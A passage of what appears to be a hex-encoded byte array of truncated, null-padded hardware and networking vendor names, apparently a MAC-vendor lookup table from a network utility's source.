0x69, 0x6e, 0x65,\r\n0x55, 0x6e, 0x69, 0x67, 0x72, 0x61, 0x6e, 0x64,\r\n0x41, 0x72, 0x63, 0x73, 0x6f, 0x66, 0x74, 0x53,\r\n0x45, 0x2d, 0x54, 0x65, 0x6b, 0x44, 0x69, 0x67,\r\n0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x49,\r\n0x48, 0x6f, 0x6b, 0x6b, 0x65, 0x69, 0x49, 0x6e,\r\n0x46, 0x61, 0x6e, 0x73, 0x74, 0x65, 0x6c, 0x00,\r\n0x53, 0x69, 0x67, 0x68, 0x74, 0x6c, 0x6f, 0x67,\r\n0x43, 0x72, 0x65, 0x73, 0x79, 0x6e, 0x00, 0x00,\r\n0x43, 0x69, 0x73, 0x63, 0x6f, 0x4d, 0x65, 0x72,\r\n0x42, 0x72, 0x69, 0x6c, 0x6c, 0x69, 0x61, 0x6e,\r\n0x4f, 0x70, 0x74, 0x65, 0x6c, 0x69, 0x61, 0x6e,\r\n0x54, 0x65, 0x72, 0x61, 0x62, 0x79, 0x74, 0x65,\r\n0x41, 0x76, 0x65, 0x67, 0x61, 0x00, 0x00, 0x00,\r\n0x49, 0x70, 0x74, 0x72, 0x61, 0x64, 0x65, 0x53,\r\n0x4e, 0x65, 0x75, 0x72, 0x6f, 0x73, 0x54, 0x65,\r\n0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x58,\r\n0x4d, 0x69, 0x74, 0x75, 0x74, 0x6f, 0x79, 0x6f,\r\n0x47, 0x7a, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x55, 0x62, 0x69, 0x78, 0x6f, 0x6e, 0x00, 0x00,\r\n0x44, 0x45, 0x53, 0x68, 0x61, 0x77, 0x52, 0x65,\r\n0x41, 0x76, 0x65, 0x72, 0x6d, 0x65, 0x64, 0x69,\r\n0x45, 0x78, 0x74, 0x65, 0x72, 0x69, 0x74, 0x79,\r\n0x41, 0x73, 0x69, 0x61, 0x45, 0x6c, 0x65, 0x63,\r\n0x47, 0x64, 0x78, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x57, 0x35, 0x6e, 0x65, 0x74, 0x77, 0x6f, 0x72,\r\n0x53, 0x69, 0x6e, 0x64, 0x6f, 0x72, 0x69, 0x63,\r\n0x43, 0x65, 0x63, 0x54, 0x65, 0x6c, 0x65, 0x63,\r\n0x4b, 0x69, 0x6d, 0x61, 0x6c, 0x64, 0x69, 0x45,\r\n0x43, 0x61, 0x6c, 0x65, 0x41, 0x63, 0x63, 0x65,\r\n0x4e, 0x65, 0x63, 0x55, 0x6e, 0x69, 0x66, 0x69,\r\n0x45, 0x32, 0x76, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x47, 0x61, 0x74, 0x73, 0x6f, 0x6d, 0x65, 0x74,\r\n0x54, 0x61, 0x69, 0x77, 0x61, 0x6e, 0x56, 0x69,\r\n0x53, 0x6f, 0x66, 0x74, 0x69, 0x65, 0x72, 0x00,\r\n0x41, 0x73, 0x63, 0x65, 0x6e, 0x64, 0x4e, 0x65,\r\n0x41, 0x72, 0x74, 0x65, 0x63, 0x44, 0x65, 0x73,\r\n0x58, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x68,\r\n0x54, 0x68, 0x6f, 0x72, 0x61, 0x74, 0x65, 0x63,\r\n0x50, 0x61, 0x6e, 0x61, 0x63, 0x63, 0x65, 0x73,\r\n0x43, 0x65, 0x6e, 0x69, 0x74, 0x73, 0x00, 0x00,\r\n0x45, 0x6e, 0x63, 0x6f, 0x72, 0x65, 0x53, 0x6f,\r\n0x56, 0x65, 0x72, 0x74, 0x65, 0x78, 0x4c, 0x69,\r\n0x44, 0x69, 0x67, 0x69, 0x6c, 0x65, 0x6e, 0x74,\r\n0x33, 0x50, 0x68, 0x6f, 0x65, 0x6e, 0x69, 0x78,\r\n0x44, 0x61, 0x77, 0x65, 0x76, 0x69, 0x73, 0x69,\r\n0x48, 0x65, 0x61, 0x64, 0x73, 0x55, 0x70, 0x54,\r\n0x50, 0x75, 0x6c, 0x73, 0x61, 0x72, 0x2d, 0x54,\r\n0x43, 0x72, 0x79, 0x70, 0x74, 0x6f, 0x53, 0x41,\r\n0x41, 0x63, 0x65, 0x6e, 0x65, 0x74, 0x54, 0x65,\r\n0x56, 0x65, 0x63, 0x69, 0x6d, 0x61, 0x4e, 0x65,\r\n0x50, 0x69, 0x67, 0x65, 0x6f, 0x6e, 0x50, 0x6f,\r\n0x43, 0x61, 0x74, 0x63, 0x68, 0x65, 0x72, 0x00,\r\n0x4c, 0x61, 0x73, 0x56, 0x65, 0x67, 0x61, 0x73,\r\n0x42, 0x6f, 0x67, 0x65, 0x6e, 0x43, 0x6f, 0x6d,\r\n0x4c, 0x69, 0x61, 0x6e, 0x68, 0x65, 0x54, 0x65,\r\n0x38, 0x57, 0x61, 0x79, 0x73, 0x54, 0x65, 0x63,\r\n0x53, 0x65, 0x63, 0x66, 0x6f, 0x6e, 0x65, 0x4b,\r\n0x53, 0x77, 0x73, 0x6f, 0x66, 0x74, 0x00, 0x00,\r\n0x53, 0x74, 0x6f, 0x72, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x41, 0x74, 0x65, 0x72, 0x61, 0x4e, 0x65, 0x74,\r\n0x41, 0x72, 0x67, 0x61, 0x72, 0x64, 0x00, 0x00,\r\n0x41, 0x65, 0x72, 0x6f, 0x6d, 0x61, 0x72, 0x69,\r\n0x45, 0x79, 0x65, 0x66, 0x69, 0x00, 0x00, 0x00,\r\n0x55, 0x6e, 0x69, 0x6c, 0x65, 0x76, 0x65, 0x72,\r\n0x54, 0x61, 0x67, 0x6d, 0x61, 0x73, 0x74, 0x65,\r\n0x53, 0x74, 0x72, 0x61, 0x77, 0x62, 0x65, 0x72,\r\n0x55, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c,\r\n0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x43,\r\n0x45, 0x64, 0x73, 0x6c, 0x61, 0x62, 0x54, 0x65,\r\n0x54, 0x61, 0x69, 0x67, 0x75, 0x65, 0x6e, 0x54,\r\n0x4e, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6d, 0x00,\r\n0x53, 0x69, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x4f, 0x6f, 0x6d, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x56, 0x65, 0x72, 0x69, 0x74, 0x65, 0x63, 0x68,\r\n0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x48,\r\n0x4c, 0x65, 0x75, 0x74, 0x72, 0x6f, 0x6e, 0x56,\r\n0x43, 0x69, 0x73, 0x63, 0x6f, 0x53, 0x70, 0x76,\r\n0x4b, 0x69, 0x6e, 0x67, 0x6a, 0x69, 0x6d, 0x00,\r\n0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x4c, 0x69,\r\n0x53, 0x61, 0x6d, 0x62, 0x75, 0x43, 0x6f, 0x6d,\r\n0x4e, 0x65, 0x6f, 0x6e, 0x6f, 0x64, 0x65, 0x00,\r\n0x5a, 0x68, 0x65, 0x6e, 0x6a, 0x69, 0x61, 0x6e,\r\n0x53, 0x65, 0x74, 0x68, 0x61, 0x49, 0x6e, 0x64,\r\n0x45, 0x32, 0x38, 0x53, 0x68, 0x61, 0x6e, 0x67,\r\n0x45, 0x78, 0x70, 0x65, 0x72, 0x74, 0x69, 0x73,\r\n0x41, 0x6e, 0x61, 0x63, 0x69, 0x73, 0x65, 0x54,\r\n0x57, 0x6f, 0x77, 0x77, 0x65, 0x65, 0x00, 0x00,\r\n0x41, 0x6d, 0x70, 0x6c, 0x65, 0x78, 0x00, 0x00,\r\n0x4d, 0x61, 0x63, 0x6b, 0x77, 0x61, 0x72, 0x65,\r\n0x44, 0x73, 0x79, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x57, 0x69, 0x72, 0x65, 0x6d, 0x6f, 0x6c, 0x64,\r\n0x34, 0x6e, 0x73, 0x79, 0x73, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x63, 0x72, 0x6f,\r\n0x41, 0x72, 0x6d, 0x6f, 0x72, 0x6c, 0x69, 0x6e,\r\n0x52, 0x67, 0x62, 0x53, 0x70, 0x65, 0x63, 0x74,\r\n0x5a, 0x6f, 0x64, 0x69, 0x61, 0x6e, 0x65, 0x74,\r\n0x4d, 0x61, 0x78, 0x69, 0x6d, 0x49, 0x6e, 0x74,\r\n0x42, 0x75, 0x79, 0x61, 0x6e, 0x67, 0x45, 0x6c,\r\n0x48, 0x75, 0x61, 0x77, 0x65, 0x69, 0x54, 0x65,\r\n0x46, 0x6f, 0x72, 0x6d, 0x6f, 0x73, 0x61, 0x32,\r\n0x46, 0x6f, 0x6e, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x41, 0x76, 0x69, 0x67, 0x69, 0x6c, 0x6f, 0x6e,\r\n0x45, 0x6c, 0x2d, 0x54, 0x65, 0x63, 0x68, 0x00,\r\n0x4d, 0x65, 0x74, 0x61, 0x73, 0x79, 0x73, 0x74,\r\n0x47, 0x6f, 0x74, 0x69, 0x76, 0x65, 0x41, 0x53,\r\n0x57, 0x69, 0x6e, 0x6e, 0x65, 0x74, 0x53, 0x6f,\r\n0x49, 0x6e, 0x66, 0x69, 0x6e, 0x6f, 0x76, 0x61,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x41, 0x63,\r\n0x45, 0x6b, 0x61, 0x68, 0x61, 0x75, 0x00, 0x00,\r\n0x4d, 0x6f, 0x6e, 0x74, 0x67, 0x6f, 0x6d, 0x65,\r\n0x52, 0x61, 0x64, 0x69, 0x6f, 0x63, 0x6f, 0x6d,\r\n0x5a, 0x68, 0x6f, 0x6e, 0x67, 0x73, 0x68, 0x61,\r\n0x41, 0x64, 0x73, 0x2d, 0x54, 0x65, 0x63, 0x00,\r\n0x4e, 0x70, 0x63, 0x6f, 0x72, 0x65, 0x00, 0x00,\r\n0x48, 0x61, 0x6e, 0x73, 0x75, 0x6e, 0x54, 0x65,\r\n0x47, 0x72, 0x65, 0x61, 0x74, 0x57, 0x65, 0x6c,\r\n0x4a, 0x65, 0x73, 0x73, 0x2d, 0x4c, 0x69, 0x6e,\r\n0x4b, 0x69, 0x6e, 0x67, 0x73, 0x74, 0x61, 0x74,\r\n0x48, 0x61, 0x6e, 0x61, 0x4d, 0x69, 0x63, 0x72,\r\n0x57, 0x65, 0x6c, 0x64, 0x65, 0x78, 0x00, 0x00,\r\n0x4e, 0x61, 0x76, 0x63, 0x61, 0x73, 0x74, 0x00,\r\n0x4f, 0x6d, 0x6e, 0x69, 0x6b, 0x65, 0x79, 0x00,\r\n0x4c, 0x65, 0x6e, 0x6e, 0x74, 0x65, 0x6b, 0x00,\r\n0x43, 0x69, 0x65, 0x72, 0x6d, 0x61, 0x41, 0x73,\r\n0x54, 0x69, 0x71, 0x69, 0x74, 0x43, 0x6f, 0x6d,\r\n0x58, 0x69, 0x70, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x5a, 0x69, 0x70, 0x70, 0x79, 0x54, 0x65, 0x63,\r\n0x41, 0x64, 0x69, 0x67, 0x69, 0x74, 0x54, 0x65,\r\n0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65,\r\n0x59, 0x6f, 0x67, 0x67, 0x69, 0x65, 0x53, 0x65,\r\n0x41, 0x6e, 0x6e, 0x65, 0x61, 0x6c, 0x54, 0x65,\r\n0x50, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x46, 0x69,\r\n0x4e, 0x69, 0x64, 0x65, 0x63, 0x53, 0x61, 0x6e,\r\n0x54, 0x76, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x64, 0x65, 0x75, 0x6e, 0x69, 0x73, 0x52,\r\n0x54, 0x65, 0x63, 0x57, 0x69, 0x7a, 0x68, 0x6f,\r\n0x44, 0x61, 0x77, 0x6f, 0x6e, 0x4d, 0x65, 0x64,\r\n0x4d, 0x61, 0x67, 0x6e, 0x61, 0x43, 0x61, 0x72,\r\n0x53, 0x33, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x33, 0x4c, 0x65, 0x64, 0x4c, 0x6c, 0x63,\r\n0x4e, 0x65, 0x77, 0x56, 0x6f, 0x69, 0x63, 0x65,\r\n0x45, 0x6c, 0x69, 0x77, 0x65, 0x6c, 0x6c, 0x43,\r\n0x5a, 0x61, 0x6f, 0x4e, 0x76, 0x70, 0x42, 0x6f,\r\n0x41, 0x6e, 0x73, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x73, 0x73, 0x65, 0x6e, 0x63, 0x65, 0x54,\r\n0x41, 0x6c, 0x6d, 0x69, 0x74, 0x65, 0x63, 0x49,\r\n0x46, 0x69, 0x72, 0x65, 0x74, 0x69, 0x64, 0x65,\r\n0x43, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x52, 0x61, 0x62, 0x61, 0x54, 0x65, 0x63, 0x68,\r\n0x4f, 0x70, 0x77, 0x46, 0x75, 0x65, 0x6c, 0x4d,\r\n0x49, 0x73, 0x6f, 0x6e, 0x61, 0x73, 0x00, 0x00,\r\n0x45, 0x6f, 0x70, 0x73, 0x54, 0x65, 0x63, 0x68,\r\n0x56, 0x69, 0x70, 0x72, 0x69, 0x6e, 0x65, 0x74,\r\n0x54, 0x65, 0x63, 0x6f, 0x62, 0x65, 0x73, 0x74,\r\n0x41, 0x78, 0x69, 0x6f, 0x68, 0x6d, 0x53, 0x61,\r\n0x45, 0x72, 0x61, 0x65, 0x45, 0x6c, 0x65, 0x63,\r\n0x44, 0x72, 0x65, 0x61, 0x6d, 0x74, 0x65, 0x63,\r\n0x42, 0x61, 0x6c, 0x64, 0x6f, 0x72, 0x45, 0x6c,\r\n0x41, 0x74, 0x72, 0x6f, 0x61, 0x64, 0x41, 0x54,\r\n0x48, 0x69, 0x67, 0x68, 0x2d, 0x47, 0x61, 0x69,\r\n0x54, 0x65, 0x61, 0x6d, 0x63, 0x61, 0x73, 0x74,\r\n0x55, 0x6e, 0x69, 0x66, 0x69, 0x65, 0x64, 0x44,\r\n0x52, 0x65, 0x69, 0x67, 0x6e, 0x63, 0x6f, 0x6d,\r\n0x53, 0x77, 0x69, 0x72, 0x6c, 0x6e, 0x65, 0x74,\r\n0x4a, 0x61, 0x76, 0x61, 0x64, 0x47, 0x6e, 0x73,\r\n0x41, 0x72, 0x63, 0x68, 0x4d, 0x65, 0x74, 0x65,\r\n0x53, 0x61, 0x6e, 0x74, 0x6f, 0x73, 0x68, 0x61,\r\n0x41, 0x6d, 0x62, 0x65, 0x72, 0x57, 0x69, 0x72,\r\n0x45, 0x70, 0x6c, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x50, 0x72, 0x6f, 0x73, 0x74, 0x61, 0x72, 0x00,\r\n0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x64,\r\n0x4d, 0x6f, 0x72, 0x65, 0x79, 0x00, 0x00, 0x00,\r\n0x41, 0x6e, 0x61, 0x76, 0x65, 0x6f, 0x00, 0x00,\r\n0x56, 0x65, 0x72, 0x6b, 0x65, 0x72, 0x6b, 0x53,\r\n0x54, 0x6f, 0x70, 0x64, 0x61, 0x74, 0x61, 0x53,\r\n0x56, 0x69, 0x73, 0x75, 0x61, 0x6c, 0x67, 0x61,\r\n0x59, 0x69, 0x67, 0x75, 0x61, 0x6e, 0x67, 0x00,\r\n0x41, 0x64, 0x68, 0x6f, 0x63, 0x6f, 0x00, 0x00,\r\n0x43, 0x61, 0x6d, 0x65, 0x6f, 0x43, 0x6f, 0x6d,\r\n0x48, 0x61, 0x63, 0x65, 0x74, 0x72, 0x6f, 0x6e,\r\n0x4e, 0x75, 0x6d, 0x61, 0x74, 0x61, 0x00, 0x00,\r\n0x41, 0x6c, 0x6c, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x42, 0x6c, 0x75, 0x65, 0x5a, 0x65, 0x6e, 0x45,\r\n0x57, 0x65, 0x6c, 0x64, 0x69, 0x6e, 0x67, 0x54,\r\n0x41, 0x63, 0x63, 0x75, 0x74, 0x65, 0x63, 0x68,\r\n0x56, 0x69, 0x64, 0x65, 0x6f, 0x6c, 0x6f, 0x67,\r\n0x45, 0x73, 0x63, 0x61, 0x70, 0x65, 0x43, 0x6f,\r\n0x4a, 0x6f, 0x79, 0x74, 0x6f, 0x74, 0x6f, 0x00,\r\n0x43, 0x68, 0x75, 0x6e, 0x69, 0x63, 0x68, 0x69,\r\n0x45, 0x6f, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x69,\r\n0x4b, 0x61, 0x6d, 0x65, 0x6c, 0x65, 0x6f, 0x6e,\r\n0x56, 0x76, 0x6f, 0x6e, 0x64, 0x00, 0x00, 0x00,\r\n0x59, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x50, 0x72,\r\n0x43, 0x6f, 0x6d, 0x70, 0x72, 0x6f, 0x54, 0x65,\r\n0x41, 0x6c, 0x74, 0x65, 0x63, 0x45, 0x6c, 0x65,\r\n0x4f, 0x70, 0x74, 0x69, 0x6d, 0x61, 0x6c, 0x54,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x71, 0x75, 0x61,\r\n0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x69, 0x76,\r\n0x46, 0x31, 0x6d, 0x65, 0x64, 0x69, 0x61, 0x00,\r\n0x42, 0x69, 0x67, 0x66, 0x6f, 0x6f, 0x74, 0x4e,\r\n0x57, 0x62, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72,\r\n0x53, 0x63, 0x68, 0x72, 0x61, 0x63, 0x6b, 0x53,\r\n0x44, 0x75, 0x61, 0x78, 0x65, 0x73, 0x00, 0x00,\r\n0x44, 0x65, 0x76, 0x69, 0x2d, 0x44, 0x61, 0x6e,\r\n0x48, 0x61, 0x73, 0x77, 0x61, 0x72, 0x65, 0x00,\r\n0x53, 0x6f, 0x75, 0x74, 0x68, 0x65, 0x72, 0x6e,\r\n0x45, 0x6e, 0x63, 0x6f, 0x72, 0x65, 0x45, 0x6c,\r\n0x49, 0x65, 0x65, 0x65, 0x31, 0x33, 0x39, 0x34,\r\n0x41, 0x74, 0x65, 0x63, 0x68, 0x54, 0x65, 0x63,\r\n0x41, 0x64, 0x76, 0x61, 0x6e, 0x73, 0x75, 0x73,\r\n0x4b, 0x6e, 0x69, 0x63, 0x6b, 0x45, 0x6c, 0x65,\r\n0x4a, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x4d, 0x6f,\r\n0x57, 0x65, 0x6c, 0x63, 0x61, 0x74, 0x00, 0x00,\r\n0x43, 0x68, 0x75, 0x61, 0x6e, 0x67, 0x2d, 0x59,\r\n0x57, 0x69, 0x6e, 0x69, 0x78, 0x00, 0x00, 0x00,\r\n0x50, 0x61, 0x79, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x50, 0x6f, 0x73, 0x69, 0x66, 0x6c, 0x65, 0x78,\r\n0x41, 0x73, 0x74, 0x65, 0x6c, 0x00, 0x00, 0x00,\r\n0x49, 0x72, 0x6c, 0x69, 0x6e, 0x6b, 0x00, 0x00,\r\n0x53, 0x70, 0x75, 0x74, 0x6e, 0x69, 0x6b, 0x45,\r\n0x53, 0x65, 0x6e, 0x73, 0x69, 0x63, 0x61, 0x73,\r\n0x42, 0x65, 0x79, 0x6f, 0x6e, 0x64, 0x77, 0x69,\r\n0x4b, 0x75, 0x6d, 0x65, 0x45, 0x6c, 0x65, 0x63,\r\n0x43, 0x6d, 0x43, 0x6f, 0x6d, 0x61, 0x6e, 0x64,\r\n0x50, 0x68, 0x6f, 0x6e, 0x65, 0x78, 0x4b, 0x6f,\r\n0x4c, 0x62, 0x6e, 0x6c, 0x45, 0x6e, 0x67, 0x69,\r\n0x49, 0x6e, 0x74, 0x65, 0x6c, 0x69, 0x63, 0x69,\r\n0x42, 0x69, 0x74, 0x73, 0x67, 0x65, 0x6e, 0x00,\r\n0x49, 0x6d, 0x63, 0x6f, 0x73, 0x79, 0x73, 0x00,\r\n0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x54,\r\n0x32, 0x6d, 0x32, 0x62, 0x4d, 0x6f, 0x6e, 0x74,\r\n0x41, 0x6e, 0x74, 0x69, 0x6f, 0x70, 0x65, 0x41,\r\n0x41, 0x63, 0x6c, 0x61, 0x72, 0x61, 0x52, 0x66,\r\n0x53, 0x70, 0x65, 0x63, 0x74, 0x72, 0x61, 0x6c,\r\n0x42, 0x61, 0x6c, 0x6c, 0x75, 0x66, 0x66, 0x00,\r\n0x47, 0x75, 0x64, 0x65, 0x41, 0x6e, 0x61, 0x6c,\r\n0x54, 0x72, 0x65, 0x6e, 0x64, 0x6f, 0x6e, 0x54,\r\n0x44, 0x75, 0x65, 0x72, 0x72, 0x44, 0x65, 0x6e,\r\n0x53, 0x74, 0x65, 0x72, 0x6c, 0x69, 0x74, 0x65,\r\n0x43, 0x6f, 0x6d, 0x6d, 0x65, 0x72, 0x63, 0x65,\r\n0x55, 0x6d, 0x62, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x47, 0x69, 0x67, 0x61, 0x6d, 0x69, 0x70, 0x73,\r\n0x4f, 0x65, 0x73, 0x6f, 0x6c, 0x75, 0x74, 0x69,\r\n0x57, 0x69, 0x6c, 0x69, 0x62, 0x6f, 0x78, 0x44,\r\n0x48, 0x69, 0x67, 0x68, 0x70, 0x6f, 0x69, 0x6e,\r\n0x47, 0x6d, 0x63, 0x47, 0x75, 0x61, 0x72, 0x64,\r\n0x52, 0x64, 0x69, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x52, 0x61, 0x63, 0x6b, 0x61, 0x62, 0x6c, 0x65,\r\n0x50, 0x69, 0x74, 0x6e, 0x65, 0x79, 0x42, 0x6f,\r\n0x4f, 0x6e, 0x53, 0x6f, 0x66, 0x74, 0x77, 0x61,\r\n0x42, 0x65, 0x6c, 0x64, 0x65, 0x6e, 0x00, 0x00,\r\n0x46, 0x6f, 0x73, 0x73, 0x69, 0x6c, 0x50, 0x61,\r\n0x52, 0x66, 0x43, 0x6f, 0x6e, 0x63, 0x65, 0x70,\r\n0x43, 0x69, 0x61, 0x6e, 0x65, 0x74, 0x49, 0x6e,\r\n0x41, 0x69, 0x72, 0x65, 0x73, 0x70, 0x69, 0x64,\r\n0x54, 0x65, 0x6e, 0x74, 0x65, 0x6c, 0x43, 0x6f,\r\n0x54, 0x65, 0x73, 0x74, 0x6f, 0x00, 0x00, 0x00,\r\n0x55, 0x6c, 0x74, 0x72, 0x61, 0x45, 0x6c, 0x65,\r\n0x4e, 0x65, 0x74, 0x63, 0x6f, 0x6e, 0x73, 0x53,\r\n0x41, 0x63, 0x6f, 0x67, 0x69, 0x74, 0x6f, 0x00,\r\n0x43, 0x68, 0x61, 0x69, 0x6e, 0x6c, 0x65, 0x61,\r\n0x4c, 0x65, 0x61, 0x66, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x61, 0x61, 0x66, 0x6e, 0x65, 0x74, 0x43,\r\n0x53, 0x74, 0x61, 0x63, 0x63, 0x61, 0x74, 0x6f,\r\n0x4a, 0x65, 0x6e, 0x61, 0x65, 0x72, 0x41, 0x6e,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x74, 0x65, 0x63, 0x68,\r\n0x56, 0x61, 0x6c, 0x65, 0x6d, 0x6f, 0x75, 0x6e,\r\n0x44, 0x6f, 0x63, 0x6f, 0x6d, 0x6f, 0x00, 0x00,\r\n0x42, 0x6c, 0x61, 0x75, 0x70, 0x75, 0x6e, 0x6b,\r\n0x43, 0x6f, 0x6d, 0x6d, 0x65, 0x72, 0x63, 0x69,\r\n0x44, 0x6f, 0x6f, 0x72, 0x6b, 0x69, 0x6e, 0x67,\r\n0x59, 0x75, 0x68, 0x75, 0x61, 0x54, 0x65, 0x6c,\r\n0x54, 0x65, 0x6c, 0x64, 0x61, 0x74, 0x53, 0x70,\r\n0x4d, 0x69, 0x6b, 0x72, 0x6f, 0x6d, 0x00, 0x00,\r\n0x44, 0x61, 0x6e, 0x70, 0x65, 0x78, 0x00, 0x00,\r\n0x45, 0x74, 0x72, 0x6f, 0x76, 0x69, 0x73, 0x69,\r\n0x52, 0x61, 0x79, 0x62, 0x69, 0x74, 0x4b, 0x6f,\r\n0x4d, 0x65, 0x74, 0x61, 0x63, 0x6f, 0x6d, 0x50,\r\n0x53, 0x65, 0x6e, 0x73, 0x6f, 0x70, 0x61, 0x72,\r\n0x5a, 0x2d, 0x43, 0x6f, 0x6d, 0x00, 0x00, 0x00,\r\n0x50, 0x6c, 0x65, 0x78, 0x75, 0x73, 0x58, 0x69,\r\n0x5a, 0x65, 0x75, 0x67, 0x6d, 0x61, 0x00, 0x00,\r\n0x31, 0x36, 0x30, 0x36, 0x33, 0x00, 0x00, 0x00,\r\n0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x48,\r\n0x58, 0x69, 0x70, 0x68, 0x65, 0x72, 0x54, 0x65,\r\n0x41, 0x65, 0x72, 0x6f, 0x68, 0x69, 0x76, 0x65,\r\n0x44, 0x61, 0x74, 0x75, 0x6d, 0x00, 0x00, 0x00,\r\n0x4d, 0x61, 0x7a, 0x65, 0x74, 0x00, 0x00, 0x00,\r\n0x50, 0x69, 0x63, 0x6f, 0x74, 0x65, 0x73, 0x74,\r\n0x52, 0x69, 0x65, 0x64, 0x65, 0x6c, 0x43, 0x6f,\r\n0x47, 0x72, 0x69, 0x64, 0x70, 0x6f, 0x69, 0x6e,\r\n0x56, 0x69, 0x76, 0x6f, 0x78, 0x00, 0x00, 0x00,\r\n0x53, 0x6d, 0x61, 0x72, 0x64, 0x74, 0x76, 0x00,\r\n0x43, 0x63, 0x74, 0x52, 0x26, 0x44, 0x00, 0x00,\r\n0x45, 0x73, 0x74, 0x69, 0x63, 0x00, 0x00, 0x00,\r\n0x49, 0x74, 0x57, 0x61, 0x74, 0x63, 0x68, 0x64,\r\n0x43, 0x68, 0x65, 0x6e, 0x67, 0x48, 0x6f, 0x6e,\r\n0x57, 0x69, 0x32, 0x77, 0x69, 0x00, 0x00, 0x00,\r\n0x53, 0x6f, 0x6e, 0x69, 0x74, 0x72, 0x6f, 0x6c,\r\n0x4e, 0x6f, 0x72, 0x74, 0x68, 0x72, 0x6f, 0x70,\r\n0x4e, 0x6f, 0x76, 0x65, 0x72, 0x61, 0x4f, 0x70,\r\n0x49, 0x78, 0x73, 0x65, 0x61, 0x00, 0x00, 0x00,\r\n0x4f, 0x63, 0x65, 0x61, 0x6e, 0x4f, 0x70, 0x74,\r\n0x4f, 0x74, 0x69, 0x63, 0x6f, 0x6e, 0x00, 0x00,\r\n0x45, 0x6c, 0x6d, 0x44, 0x61, 0x74, 0x61, 0x00,\r\n0x41, 0x76, 0x69, 0x6e, 0x66, 0x6f, 0x00, 0x00,\r\n0x43, 0x68, 0x61, 0x6e, 0x67, 0x73, 0x68, 0x75,\r\n0x4a, 0x6f, 0x72, 0x6a, 0x69, 0x6e, 0x54, 0x65,\r\n0x4a, 0x75, 0x72, 0x6f, 0x6e, 0x67, 0x48, 0x69,\r\n0x54, 0x75, 0x72, 0x62, 0x6f, 0x63, 0x68, 0x65,\r\n0x53, 0x6f, 0x66, 0x74, 0x44, 0x65, 0x76, 0x69,\r\n0x53, 0x61, 0x74, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x46, 0x75, 0x6a, 0x69, 0x74, 0x73, 0x75, 0x54,\r\n0x45, 0x64, 0x6f, 0x2d, 0x45, 0x76, 0x69, 0x00,\r\n0x44, 0x69, 0x76, 0x65, 0x72, 0x73, 0x69, 0x66,\r\n0x43, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x00, 0x00,\r\n0x56, 0x69, 0x7a, 0x69, 0x6f, 0x00, 0x00, 0x00,\r\n0x4e, 0x69, 0x66, 0x74, 0x79, 0x00, 0x00, 0x00,\r\n0x44, 0x6b, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x69, 0x68, 0x6f, 0x6e, 0x44, 0x61, 0x74,\r\n0x4f, 0x72, 0x64, 0x79, 0x6e, 0x54, 0x65, 0x63,\r\n0x41, 0x73, 0x74, 0x65, 0x65, 0x6c, 0x45, 0x6c,\r\n0x41, 0x75, 0x73, 0x74, 0x61, 0x72, 0x54, 0x65,\r\n0x52, 0x61, 0x64, 0x61, 0x72, 0x66, 0x69, 0x6e,\r\n0x49, 0x74, 0x75, 0x2d, 0x54, 0x00, 0x00, 0x00,\r\n0x57, 0x69, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43,\r\n0x52, 0x61, 0x79, 0x63, 0x6f, 0x6d, 0x00, 0x00,\r\n0x47, 0x73, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x6f, 0x62, 0x73, 0x74, 0x53, 0x61, 0x00,\r\n0x48, 0x6f, 0x70, 0x6c, 0x69, 0x6e, 0x67, 0x54,\r\n0x52, 0x69, 0x67, 0x6f, 0x6c, 0x54, 0x65, 0x63,\r\n0x48, 0x61, 0x6e, 0x79, 0x61, 0x6e, 0x67, 0x53,\r\n0x41, 0x72, 0x72, 0x6f, 0x77, 0x37, 0x00, 0x00,\r\n0x58, 0x79, 0x6e, 0x65, 0x74, 0x73, 0x6f, 0x66,\r\n0x53, 0x74, 0x61, 